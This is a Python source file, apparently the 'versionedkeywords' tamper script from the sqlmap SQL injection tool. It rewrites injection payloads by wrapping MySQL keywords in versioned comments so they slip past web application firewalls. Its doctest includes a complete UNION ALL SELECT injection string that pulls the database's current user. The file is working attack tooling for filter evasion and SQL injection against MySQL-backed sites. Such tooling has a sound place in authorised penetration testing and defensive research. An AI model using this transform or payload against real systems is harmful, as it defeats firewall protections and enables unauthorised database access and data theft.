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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHER
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Encloses each non-function keyword with (MySQL) versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 4.0.18, 5.1.56, 5.5.11
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
"""
def process(match):
word = match.group('word')
if word.upper() in kb.keywords:
return match.group().replace(word, "/*!%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal)
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal
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